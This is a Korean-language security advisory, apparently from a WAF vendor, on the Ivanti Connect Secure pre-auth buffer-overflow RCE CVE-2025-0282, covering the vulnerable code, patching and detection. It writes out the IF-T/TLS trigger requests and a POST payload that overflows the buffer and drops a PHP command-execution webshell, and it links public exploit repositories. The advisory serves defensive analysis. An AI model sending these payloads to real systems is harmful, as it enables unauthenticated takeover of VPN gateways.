이 취약점은 아이반티 커넥트 시큐어, 정책 시큐어, ZTA 게이트웨이 제품에서 사전 인증된 RCE 취약점으로, IF-T/TLS 프로토콜 통신 중 버퍼 오버플로우를 악용하려고 시도하는 취약점입니다.
이 취약점은 Ivanti Connect Secure 및 Ivanti ZTA Gateway 제품의 22.7R2.5에 패치되어 있으며 AIWAF는 관련 취약점을 지속적으로 모니터링하고 있습니다.
1. 개요
Ivanti사의 Connect Secure 및 Policy Secure, ZTA Gateways는 SSL VPN 솔루션 및 IPS 솔루션 제품들로, 최근 해당 플랫폼에서 발견된 Buffer Overflow 기반 사전 인증 RCE 취약점인 CVE-2025-0282에 대해 분석한 내용을 정리하였습니다.
출처 : https://www.helpnetsecurity.com/2025/01/08/ivanti-exploited-connect-secure-zero-day-cve-2025-0282-cve-2025-0283/
2. 공격 유형
CVE-2025-0282는 Ivanti사의 Connect Secure 및 Policy Secure, ZTA Gateways 제품에서 발생한 사전 인증 RCE 취약점으로, 해당 제품들에서 사용하는 오픈소스 VPN 클라이언트인 OpenConnect에서 사용되는 IF-T/TLS 프로토콜 통신 과정에서 발생하는 Buffer Overflow를 활용해 RCE 공격이 가능합니다.
해당 취약점에 대한 분석을 진행한 watchtowr에 따르면, 해당 프로토콜 통신을 담당하는 코드 일부분애 clientCapabilities 변수를 대상으로 strncpy 함수를 사용할 때 버퍼 크기가 아닌 입력 문자열의 크기로 복사하도록 잘못 작성하여, 만약 256bytes 이상 문자를 입력하게 되면 BOF가 발생한다고 합니다.
watchtowr에서 취약하다고 분석한 코드 일부 :
...
char dest[256];
clientCapabilities = getKey(req, "clientCapabilities");
if ( clientCapabilities != NULL )
{
clientCapabilitiesLength = strlen(clientCapabilities);
if ( clientCapabilitiesLength != 0 )
connInfo->clientCapabilities = clientCapabilities;
}
}
memset(dest, 0, sizeof(dest));
strncpy(dest, connInfo->clientCapabilities, clientCapabilitiesLength);
...
공격자는 해당 부분을 활용하여 먼저 IF-T/TLS 요청을 진행하기 위한 GET 요청을 전송 후, 이후 해당 프로토콜 규격에 맞게 Socket 통신을 진행하며 RCE 공격을 시도합니다.
IF-T/TLS 프로토콜 통신 요청 :
GET / HTTP/1.1
Host: 10.0.0.206
User-Agent: BishopFox
Content-Type: EAP
Upgrade: IF-T/TLS 1.0
Content-Length: 0
이후 전송하는 소켓 요청 :
\x00\x00U\x97\x00\x00\x00\x01\x00\x00\x00\x14\x00\x00\x00\x00\x00\x01\x02\x02
\x00\x00\nL\x00\x00\x00\x88\x00\x00\x00t\x00\x00\x00\x01clientHostname=BishopFox clientIp=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\x00
\x00\x00\nL\x00\x00\x00\x88\x00\x00\x00\x1b\x00\x00\x00\x02anonymous\n\x00
또는 Buffer Overflow를 발생시키는 구문과 Webshell 구문을 결합시켜 POST 요청으로 전송하는 공격 방식도 존재합니다.
POST 요청을 통해 BOF 및 Webshell 업로드 :
POST /dana-na/auth/url_default/welcome.cgi HTTP/1.1
Host: 10.0.0.206
Content-Length: 738
Content-Type: application/x-www-form-urlencoded
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`\xa3\x04\x08BBBB\x08\xb0\x04\x08echo \'<?php\n// Usage: http://target.com/shell.php?cmd=<command>\n\nif (isset($_GET[\'cmd\'])) {\n $cmd = $_GET[\'cmd\'];\n echo "<pre>" . shell_exec($cmd) . "</pre>";\n} else {\n echo "No command provided.";\n}\n?>\n\' > /shell.php'
3. 대응 방안
Ivanti에서는 CVE-2025-0282에 대한 패치를 발표하였으나, Ivanti Connect Secure 및 Ivanti ZTA Gateways 제품들은 22.7R2.5 이상 버전으로 업데이트를 진행하여 대응이 가능하지만 Ivanti Policy Secure 제품은 아직 패치가 공개되지 않았기 때문에 Ivanti의 권고 지침에 따라 인터넷에 노출되지 않도록 대응하여야 합니다.
해당 취약점의 경우 IF-T/TLS 프로토콜 환경에서 발생하는 공격은 AIWAF 패턴으로 대응 가능한 영역이 아닌 것으로 보여지나, Webshell과 결합한 형태의 공격은 "Webshell" 패턴에서 대부분 탐지되고 있습니다.
4. 결론
작년에 이어 올해에도 지속적으로 Ivanti사의 제품 및 솔루션에 대해 다양한 취약점들이 발견 및 보고되고 있으며, 해당 취약점의 경우 특히 인증 과정 없이 RCE 공격을 수행할 수 있다는 점에서 더욱 위험한 취약점으로 확인되어 빠르게 최신 버전으로 업데이트가 필요합니다.
저희 AIWAF 제품에서는 Ivanti Connect Secure 및 Policy Secure, ZTA Gateways에서 발생하는 취약점들에 대해 패턴을 개발하여 대응하고 있으며, 앞으로도 발견되는 관련 취약점들에 대해서도 신속하게 대응할 예정입니다.
5. 참고
- https://labs.watchtowr.com/do-secure-by-design-pledges-come-with-stickers-ivanti-connect-secure-rce-cve-2025-0282/
- https://github.com/sfewer-r7/CVE-2025-0282
- https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day
- https://github.com/absholi7ly/CVE-2025-0282-Ivanti-exploit